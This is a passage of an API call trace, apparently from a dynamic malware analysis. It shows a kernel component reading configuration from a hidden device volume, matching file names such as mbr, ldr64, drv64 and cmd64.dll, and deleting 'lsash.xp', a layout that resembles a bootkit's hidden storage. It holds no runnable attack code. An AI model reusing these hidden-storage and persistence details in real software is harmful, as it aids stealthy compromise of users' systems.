MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.126] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.126] IdePortDispatch () returned 0x103 [0119.126] KeWaitForMutexObject () returned 0x0 [0119.126] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.126] KeLeaveCriticalRegion () [0119.126] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.126] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.126] KeEnterCriticalRegion () [0119.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.126] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6d000 [0119.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.127] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.127] IdePortDispatch () returned 0x103 [0119.127] KeWaitForMutexObject () returned 0x0 [0119.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.127] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.127] IdePortDispatch () returned 0x103 [0119.127] KeWaitForMutexObject () returned 0x0 [0119.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.127] KeLeaveCriticalRegion () [0119.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.128] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.128] KeEnterCriticalRegion () [0119.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.128] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.128] KeLeaveCriticalRegion () [0119.128] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.128] KeEnterCriticalRegion () [0119.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.128] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.128] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.128] KeLeaveCriticalRegion () [0119.128] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.128] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.128] KeEnterCriticalRegion () [0119.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.128] ExFreePoolWithTag (P=0xfffffa8003aa8590, Tag=0x0) [0119.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.128] KeLeaveCriticalRegion () [0119.128] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.129] ReleaseMutex (hMutex=0xf0) returned 1 [0119.129] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.129] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.129] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.129] KeEnterCriticalRegion () [0119.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.129] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.129] IdePortDispatch () returned 0x103 [0119.129] KeWaitForMutexObject () returned 0x0 [0119.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.129] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.129] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.129] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.129] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.129] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf2f0 [0119.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.130] KeLeaveCriticalRegion () [0119.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.130] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.130] KeEnterCriticalRegion () [0119.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.130] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.130] KeLeaveCriticalRegion () [0119.130] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.130] KeEnterCriticalRegion () [0119.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.130] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.130] IdePortDispatch () returned 0x103 [0119.130] KeWaitForMutexObject () returned 0x0 [0119.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.130] KeLeaveCriticalRegion () [0119.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.130] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.131] KeEnterCriticalRegion () [0119.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.131] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6e000 [0119.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.131] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.131] IdePortDispatch () returned 0x103 [0119.131] KeWaitForMutexObject () returned 0x0 [0119.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.131] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.131] IdePortDispatch () returned 0x103 [0119.131] KeWaitForMutexObject () returned 0x0 [0119.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.131] KeLeaveCriticalRegion () [0119.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.132] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.132] KeEnterCriticalRegion () [0119.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.132] KeLeaveCriticalRegion () [0119.132] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.132] KeEnterCriticalRegion () [0119.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.132] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.132] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.132] KeLeaveCriticalRegion () [0119.132] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.132] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.132] KeEnterCriticalRegion () [0119.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.132] ExFreePoolWithTag (P=0xfffffa8003bbf2f0, Tag=0x0) [0119.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.133] KeLeaveCriticalRegion () [0119.133] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.133] ReleaseMutex (hMutex=0xf0) returned 1 [0119.133] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.133] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.133] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.133] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.133] KeEnterCriticalRegion () [0119.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.133] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.133] IdePortDispatch () returned 0x103 [0119.133] KeWaitForMutexObject () returned 0x0 [0119.133] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.133] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.133] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.133] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.133] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.133] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.133] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.133] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.133] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.133] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.134] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.134] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.134] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.134] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.134] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.134] KeLeaveCriticalRegion () [0119.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.134] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.134] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.134] KeEnterCriticalRegion () [0119.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.134] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.134] IdePortDispatch () returned 0x103 [0119.134] KeWaitForMutexObject () returned 0x0 [0119.134] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.134] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.134] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.134] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.134] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.134] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.134] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.134] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.135] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.135] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.135] KeLeaveCriticalRegion () [0119.135] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.135] ReleaseMutex (hMutex=0x100) returned 1 [0119.135] Sleep (dwMilliseconds=0x2bf20) [0119.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a34fcb0, dwHighDateTime=0x1d24fa4)) [0119.143] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.143] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.143] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.143] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.143] KeEnterCriticalRegion () [0119.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.144] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.144] IdePortDispatch () returned 0x103 [0119.144] KeWaitForMutexObject () returned 0x0 [0119.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.144] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.144] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.144] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.144] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.144] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca2c0 [0119.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.144] KeLeaveCriticalRegion () [0119.144] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.144] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.144] KeEnterCriticalRegion () [0119.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.144] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.144] KeLeaveCriticalRegion () [0119.144] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.144] KeEnterCriticalRegion () [0119.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.144] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.144] IdePortDispatch () returned 0x103 [0119.145] KeWaitForMutexObject () returned 0x0 [0119.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.145] KeLeaveCriticalRegion () [0119.145] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.145] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.145] KeEnterCriticalRegion () [0119.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c71000 [0119.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.145] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.145] IdePortDispatch () returned 0x103 [0119.145] KeWaitForMutexObject () returned 0x0 [0119.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.145] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.145] IdePortDispatch () returned 0x103 [0119.145] KeWaitForMutexObject () returned 0x0 [0119.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.146] KeLeaveCriticalRegion () [0119.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.146] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.146] KeEnterCriticalRegion () [0119.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.146] KeLeaveCriticalRegion () [0119.146] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.146] KeEnterCriticalRegion () [0119.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.146] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.146] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.146] KeLeaveCriticalRegion () [0119.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.146] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.146] KeEnterCriticalRegion () [0119.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.146] ExFreePoolWithTag (P=0xfffffa80039ca2c0, Tag=0x0) [0119.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.146] KeLeaveCriticalRegion () [0119.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.146] ReleaseMutex 